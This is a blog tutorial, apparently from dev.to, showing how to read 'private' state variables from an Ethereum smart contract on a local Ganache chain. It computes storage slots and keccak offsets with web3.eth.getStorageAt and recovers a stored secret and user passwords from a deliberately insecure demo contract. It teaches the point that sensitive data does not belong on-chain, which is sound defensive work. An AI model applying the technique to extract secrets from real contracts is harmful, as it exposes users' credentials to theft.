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Akim (mousticke.eth)
Akim (mousticke.eth)

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Vulnerability exploit : Access to the private state variable in a Smart Contract

When we think about private data in general, we think that any program or software interacting with our smart-contract cannot access to this variable.
Usually, when we have a private variable in an OOP, we use a getter and a setter for manipulating or reading the data.
Sometimes, we can see that the private visibility is used to store some sensitive data and we don't want anyone to read that data.

Let's say in our smart contract, we define a private state variable to store a password, a secret key or whatever. So that nobody can read or modify the data.
But it doesn't mean that we can't access to this data.

A private state variable can be read

Let's jump into the code and some explanation
You can go to the github repo (Link below in the Conclusion) to get the source code or follow along with me.

Prerequisites

npm install -g truffle
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npm install web3
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Instantiate Truffle project

First, create a truffle project within a directory with the following command :

truffle init
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Then create a contract

truffle create contract TestPrivate
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Code

Now we have a contract created, copy paste this code

// SPDX-License-Identifier: MIT
pragma solidity >=0.4.22 <0.9.0;

contract TestPrivate {

  bool public slot_boolean = true;        // → slot 0 : 1 byte
  address public owner = msg.sender;                   // → slot 0 : 20 bytes
  uint256 public slot_uint256 = 1000;     // → slot 1 : 32 bytes
  uint[2] public data;                    // → slot 2 : 32 bytes and slot 3 : 32 bytes (one slot per element)
  bytes32 private secret_data;            // → slot 4 : 32 bytes

  struct User{
    uint id;
    uint8 role;
    address userAddress;
    bytes32 password;
  }

  User[] private users;                // → slot 5 starts at keccak(5) for first user
                                      // → second user at keccack(5) + (3 → slot used for the storing one struct of user)

  constructor(bytes32 _secret_data) {
    secret_data = _secret_data;
  }

  function enrollUser(uint8 _role, bytes32 _password) external {
    User memory user = User({
      id: users.length,
      role: _role,
      userAddress: msg.sender,
      password: _password
    });

    users.push(user);
  }
}
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Now we have the code, let's see how the EVM stores the variables

Slots in the EVM

The EVM will store the state variables inside an array in a compact way. That means multiple values can use the same slot. A slot can store up to 32bytes.
So when a variable in the slot is lower than 32 bytes, if the next variable can fit in the remaining space, it will be stored in the same slot.
(It's better to use 32 bytes variables for gas usage but it's another subject).

Let's see in our code, how is it stored.
Our first variable is a boolean set to true. It will be stored in the slot 0 and takes 1 byte.

slot type 32 bytes slot
0 bool 0x0000000000000000000000000000000000000000000000000000000000000001

Next, we have an address type which is 20 bytes size. But in the slot 0, we still have enough space to store 20 bytes.
So we compact two variables inside this slot

slot type 32 bytes slot
0 address & bool 0x0000000000000000000000aC86db09Aa6756D9606d638bFb3a3A0f7669850401

So we now have 11 bytes remaining space. (20 + 1 = 21 bytes used)

After that, we have a uint256 with a value of 1000 (10). A uint256 is unsigned integer with a size of 256 bits (32 bytes). So the entire slot 1 will store this variable.
So the storage will be :

slot type 32 bytes slot
0 address & bool 0x0000000000000000000000aC86db09Aa6756D9606d638bFb3a3A0f7669850401
1 uint256 (1000) 0x00000000000000000000000000000000000000000000000000000000000003e8

If this uint was a uint64, whe would store 8 bytes inside the slot 0 because we have enough space. But if the slot 0 was full, we would store the data inside the next slot with a remaining space of 24 bytes (32 bytes - 8 bytes). The EVM does some operation to convert a 2^(3+k) (where 0<k<3) bytes data to fit inside a 32 bytes slot by adding some 0 in front of the data.

Then we have an array of 2 elements of uint256. Each element is stored inside a slot. Because one element is a 32 bytes size, we use 2 slots for the entire array.

slot type 32 bytes slot
0 address & bool 0x0000000000000000000000aC86db09Aa6756D9606d638bFb3a3A0f7669850401
1 uint256 (1000) 0x00000000000000000000000000000000000000000000000000000000000003e8
2 uint256(0) 0x0000000000000000000000000000000000000000000000000000000000000000
3 uint256(1) 0x0000000000000000000000000000000000000000000000000000000000000000

We store the private bytes32 inside the slot 4.

slot type 32 bytes slot
0 address & bool 0x0000000000000000000000aC86db09Aa6756D9606d638bFb3a3A0f7669850401
1 uint256 (1000) 0x00000000000000000000000000000000000000000000000000000000000003e8
2 uint256(0) 0x0000000000000000000000000000000000000000000000000000000000000000
3 uint256(1) 0x0000000000000000000000000000000000000000000000000000000000000000
4 bytes32 0x0000000000000000000000000000000000000000000000000000000000000000

Next we have a struct of User. Inside that struct, we have :

  1. id - uint (32 bytes)
  2. role - uint8 (1 byte)
  3. userAddress - address (20 bytes)
  4. password - bytes32 (32 bytes)

So inside the array of User, we start to store at the slot 5. To know where to find the first user, we convert the number of the slot into a hash (keccak256). If we access to this slot, we have the id. Then if we increment the hash by one we access to the next slot which contains the role (1 byte) and the address (20 bytes).
If we increment the hash by 2, we access to the third slot, which contains the password.
If you want to access to the id of the second user, you increment the hash by 3 and so on...

Deploy the contract

Now let's deploy the contract.
We have a constructor that takes a parameter of a bytes32. Let's pass this argument 0x0000000000000000000000000000000000007365637265742069732068657265.
It's the string secret is here in hex representation.

To deploy the contract, we first need to create the migration file for truffle. For that, you need to compile the smart contract because we need to access to the artifact. Then create a file inside the migrations folder.

Run

  truffle compile
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The output from the compile command should look like this :

$ truffle compile

Compiling your contracts...
===========================
> Compiling .\contracts\Migrations.sol
> Compiling .\contracts\TestPrivate.sol
> Artifacts written to D:\Documents\Development\Ether\security\solidity-private-data\build\contracts
> Compiled successfully using:
   - solc: 0.8.9+commit.e5eed63a.Emscripten.clang
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Add 2_deploy_TestPrivate.js file inside the migrations directory

Then add this code inside the file 2_deploy_TestPrivate.js

const TestPrivate = artifacts.require("TestPrivate");

module.exports = function (deployer, network, accounts) {
  const secretUse =
    "0x0000000000000000000000000000000000007365637265742069732068657265"; //secret is here
  deployer.deploy(TestPrivate, secretUse);
};

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After that you need to check if you have a network enabled inside your truffle config. (In my case, I will run a local network with ganache)
Your truffle config should look like this :

module.exports = {
  networks: {
    ganache: {
      host: "127.0.0.1", // Localhost (default: none)
      port: 7545, // Standard Ethereum port (default: none)
      network_id: "*", // Any network (default: none)
    },
  },

  // Set default mocha options here, use special reporters etc.
  mocha: {
    // timeout: 100000
  },

  // Configure your compilers
  compilers: {
    solc: {
      version: "0.8.9", // Fetch exact version from solc-bin (default: truffle's version)
      // docker: true,        // Use "0.5.1" you've installed locally with docker (default: false)
      // settings: {          // See the solidity docs for advice about optimization and evmVersion
      //  optimizer: {
      //    enabled: false,
      //    runs: 200
      //  },
      //  evmVersion: "byzantium"
      // }
    },
  },
};
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Once you have all the setup done, after running the command truffle migrate --network ganache, you should see the following output

$ truffle migrate --network ganache

Compiling your contracts...
===========================
> Compiling .\contracts\Migrations.sol
> Compiling .\contracts\TestPrivate.sol
> Artifacts written to D:\Documents\Development\Ether\security\solidity-private-data\build\contracts
> Compiled successfully using:
   - solc: 0.8.9+commit.e5eed63a.Emscripten.clang



Starting migrations...
======================
> Network name:    'ganache'
> Network id:      5777
> Block gas limit: 6721975 (0x6691b7)


1_initial_migration.js
======================

   Deploying 'Migrations'
   ----------------------
   > transaction hash:    0xb6767a41e6067e2ec91eb8160df8a52064366aaa89768e7377dd6a5f9fc312ac
   > Blocks: 0            Seconds: 0
   > contract address:    0xA441f0E978c08E70c3249d97Dd542E7E37bEc06D
   > block number:        618
   > block timestamp:     1640659167
   > account:             0x009d6EF647f472b543A6057b443a72Dff6e61c7a
   > balance:             96.52405552
   > gas used:            248842 (0x3cc0a)
   > gas price:           20 gwei
   > value sent:          0 ETH
   > total cost:          0.00497684 ETH


   > Saving migration to chain.
   > Saving artifacts
   -------------------------------------
   > Total cost:          0.00497684 ETH


2_deploy_TestPrivate.js
=======================

   Deploying 'TestPrivate'
   -----------------------
   > transaction hash:    0x764f973c29ed5937b26728f80689387fcf99b38d96a635bcdf43edc17a331c1b
   > Blocks: 0            Seconds: 0
   > contract address:    0xd3a66714eB418B33f78c46FbC1B4996c6dE2F705
   > block number:        620
   > block timestamp:     1640659168
   > account:             0x009d6EF647f472b543A6057b443a72Dff6e61c7a
   > balance:             96.5160722
   > gas used:            356653 (0x5712d)
   > gas price:           20 gwei
   > value sent:          0 ETH
   > total cost:          0.00713306 ETH


   > Saving migration to chain.
   > Saving artifacts
   -------------------------------------
   > Total cost:          0.00713306 ETH


Summary
=======
> Total deployments:   2
> Final cost:          0.0121099 ETH
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In ganache, we can see our contract deployed (You need to add the truffle config file)

Image description

Inside your json file of the previously compiled contract, you should see this object

"networks": {
    "5777": {
        "events": {},
        "links": {},
        "address": "0xd3a66714eB418B33f78c46FbC1B4996c6dE2F705",
        "transactionHash": "0x764f973c29ed5937b26728f80689387fcf99b38d96a635bcdf43edc17a331c1b"
    }
},
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So now our contract is deployed and ready to use, we can add some data inside the users array.

Interact with the smart contract

Since we have a client (Ganache), we run the command truffle console
See if it works by returning the list of the accounts

truffle(ganache)> let accounts = await web3.eth.getAccounts()
undefined
truffle(ganache)> accounts
[
  '0x009d6EF647f472b543A6057b443a72Dff6e61c7a',
  '0x4EBE31e37c016253DE9B8994514Da6cBCB57f0a5',
  '0xC66A8fBAF9F95CCe86AefB8e713029E2aa9c7E8d',
  '0xF22f46120471166fb7029990D4eCBaCb63e575B4',
  '0x7B4794aD644543b80b71c1243185E37AEA50B403',
  '0xbe8eC832Ea864366F789AB1458358e4506228075',
  '0x108BdEa3473a7488377C9FbE5b12078bf311Ca16',
  '0xbdEe79e2C8CA3311B9C8531410f09567F22F4FEd',
  '0x579Ed8B42541E0877D9e2425D32a67127f22b0A3',
  '0xA3AD8DE6b1BDe5DacF715E4008866b3c12a5def0'
]
truffle(ganache)>
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Now, let's create an instance of the smart contract

truffle(ganache)> let instance = await TestPrivate.deployed()
undefined
truffle(ganache)> instance
 ...
 contractName: 'TestPrivate',
      abi: [Array],
      metadata: ...
 ...
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Access to the slot

Now we have our smart contract instance, let's see how we access to the slots.

First we need the address of the smart contract

truffle(ganache)> let address = await instance.address
undefined
truffle(ganache)> address
'0xd3a66714eB418B33f78c46FbC1B4996c6dE2F705'
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We will use our address to get the data inside the storage with web3

Slot 0

For the slot 0, we have

truffle(ganache)> let instance = await TestPrivate.deployed()
undefined
truffle(ganache)> let address = await instance.address
undefined
truffle(ganache)> address
'0xB3884D48eA4f9CbC6bCE90E3D58d193C6c6d719C'
truffle(ganache)> let slot0 = await web3.eth.getStorageAt(address, 0, console.log)
null 0x9d6ef647f472b543a6057b443a72dff6e61c7a01
undefined
truffle(ganache)> slot0
'0x9d6ef647f472b543a6057b443a72dff6e61c7a01'
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We can see our owner address 9d6ef647f472b543a6057b443a72dff6e61c7a and our boolean value 01
You can check the owner address

truffle(ganache)> await instance.owner()
'0x009d6EF647f472b543A6057b443a72Dff6e61c7a'
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Slot 1

truffle(ganache)> let slot1 = await web3.eth.getStorageAt(address, 1, console.log)
null 0x03e8
undefined
truffle(ganache)> slot1
'0x03e8'
truffle(ganache)>
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We can see the uint256 value 1000 in hex.

truffle(ganache)> parseInt(0x3e8, 10)
1000
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Slot 2 and 3

As I said earlier, the slot 2 and 3 contains the value of the uint256 array. Each value are stored in one slot due to their size.

truffle(ganache)> let slot2 = await web3.eth.getStorageAt(address, 2, console.log)
null 0x0
undefined
truffle(ganache)> slot2
'0x0'
truffle(ganache)> let slot3 = await web3.eth.getStorageAt(address, 3, console.log)
null 0x0
undefined
truffle(ganache)> slot3
'0x0'
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Slot 4

Here comes the funny part. We have a private state variable. Let's see what we have

truffle(ganache)> let slot4 = await web3.eth.getStorageAt(address, 4, console.log)
null 0x7365637265742069732068657265
undefined
truffle(ganache)> slot4
'0x7365637265742069732068657265'
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We can see the hex value 0x7365637265742069732068657265. Since it is a bytes32 state variable, let's convert into an alphabet representation

truffle(ganache)> let asciiPrivateData = await web3.utils.toAscii('0x7365637265742069732068657265')
undefined
truffle(ganache)> asciiPrivateData
'secret is here'
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We can see that we can clearly read the data.

Slot 5

In the user array, we first add 2 users.

truffle(ganache)> await instance.enrollUser(1, web3.utils.toHex("secret user1"))
{
  tx: '0xa9c1e069d453a41cce948f3c6779dc8d02a3ee2e50b3b4cba9866bc5f4c4aa4a',
  receipt: {
    transactionHash: '0xa9c1e069d453a41cce948f3c6779dc8d02a3ee2e50b3b4cba9866bc5f4c4aa4a',
    transactionIndex: 0,
    blockHash: '0x05ec32043c20202580f971711715d2c4c3483723703d3879b859080c92626ff0',
    blockNumber: 626,
    from: '0x009d6ef647f472b543a6057b443a72dff6e61c7a',
    to: '0xb3884d48ea4f9cbc6bce90e3d58d193c6c6d719c',
    gasUsed: 87357,
    cumulativeGasUsed: 87357,
    contractAddress: null,
    logs: [],
    status: true,
    logsBloom: '0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000',
    rawLogs: []
  },
  logs: []
}
truffle(ganache)> await instance.enrollUser(2, web3.utils.toHex("secret user2"))
{
  tx: '0xedef6f68f3e742b6ec41e10e7256f1fceba84b247f2b1d83ec66b367f04511bb',
  receipt: {
    transactionHash: '0xedef6f68f3e742b6ec41e10e7256f1fceba84b247f2b1d83ec66b367f04511bb',
    transactionIndex: 0,
    blockHash: '0x4f6f86923646c4103d9b5eaf413f0ef2cebe175ea6b550fb971fd48a08ff52e6',
    blockNumber: 627,
    from: '0x009d6ef647f472b543a6057b443a72dff6e61c7a',
    to: '0xb3884d48ea4f9cbc6bce90e3d58d193c6c6d719c',
    gasUsed: 91557,
    cumulativeGasUsed: 91557,
    contractAddress: null,
    logs: [],
    status: true,
    logsBloom: '0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000',
    rawLogs: []
  },
  logs: []
}
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Now we have the 2 user, let's run our methods to get the storage at the slot 5

truffle(ganache)> let slot5 = await web3.eth.getStorageAt(address, 5, console.log)
null 0x02
undefined
truffle(ganache)> slot5
'0x02'
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We can see that we have 2 User inside our array. The first user should be stored at the hash of the slot 5

truffle(ganache)> let hashFirstUser = await web3.utils.soliditySha3({type: "uint", value: 5})
undefined
truffle(ganache)> hashFirstUser
'0x036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db0'
truffle(ganache)>
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Now, get the first user id

truffle(ganache)> let slot_user1_id = await web3.eth.getStorageAt(address, hashFirstUser, console.log)
null 0x0
undefined
truffle(ganache)> slot_user1_id
'0x0'
truffle(ganache)>
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It should equal 0 because the id is the length of the array before we push the struct.

To get the user role and address, we need to read the next slot by incrementing the hash by one
0x036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db00x036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db1

truffle(ganache)> let slot_user1_roleAndAddress = await web3.eth.getStorageAt(address, '0x036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db1', console.log)
null 0x9d6ef647f472b543a6057b443a72dff6e61c7a01
undefined
truffle(ganache)> slot_user1_roleAndAddress
'0x9d6ef647f472b543a6057b443a72dff6e61c7a01'
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We can see the role 01 and the msg.sender value. (Which is the same as the owner in this case) 0x9d6ef647f472b543a6057b443a72dff6e61c7a.

Then, we access to the password of the user by incrementing again the hash by 2
0x036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db00x036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db2

truffle(ganache)> let slot_user1_password = await web3.eth.getStorageAt(address, '0x036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db2', console.log)
null 0x7365637265742075736572310000000000000000000000000000000000000000
undefined
truffle(ganache)> slot_user1_password
'0x7365637265742075736572310000000000000000000000000000000000000000'
truffle(ganache)> await web3.utils.toAscii('0x7365637265742075736572310000000000000000000000000000000000000000')
'secret user1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
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We can clearly see the password of the user even though the state variable is private.

You can guess that if you want to see the data of the user 2, you need to increment the hash by 3 (3 slots for one user due to our structure)

truffle(ganache)> let slot_user2_id = await web3.eth.getStorageAt(address, '0x036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db3', console.log)
null 0x01
undefined
truffle(ganache)> slot_user2_id
'0x01'
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We can access to the password of the second user by incrementing the hash by 5

truffle(ganache)> let slot_user2_password = await web3.eth.getStorageAt(address, '0x036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db5', console.log)
null 0x7365637265742075736572320000000000000000000000000000000000000000
undefined
truffle(ganache)> await web3.utils.toAscii('0x7365637265742075736572320000000000000000000000000000000000000000')
'secret user2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
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Conclusion

Do not assume that because you have a private state variable, we cannot access to the data. The recommendation is :
Do not store sensitive data on the blockchain.

You can get the code here : GitHub

Top comments (2)

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pcarion profile image
Pierre Carion

Nice work here Akim.
"Traditional" developers coming to web3 have to question all previous knowledge they may have from "before"

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mousticke profile image
Akim (mousticke.eth) Author

Thank you for your feedback.
The big misunderstanding here is to go straight to the code without knowing how it works. The blockchain is nice and gives a lot of possibilities. In the other hand, it gives visibility to everyone.

🌚 Friends don't let friends browse without dark mode.

Just kidding, it's a personal preference. But you can change your theme, font, etc. in your settings.

The more you know. 🌈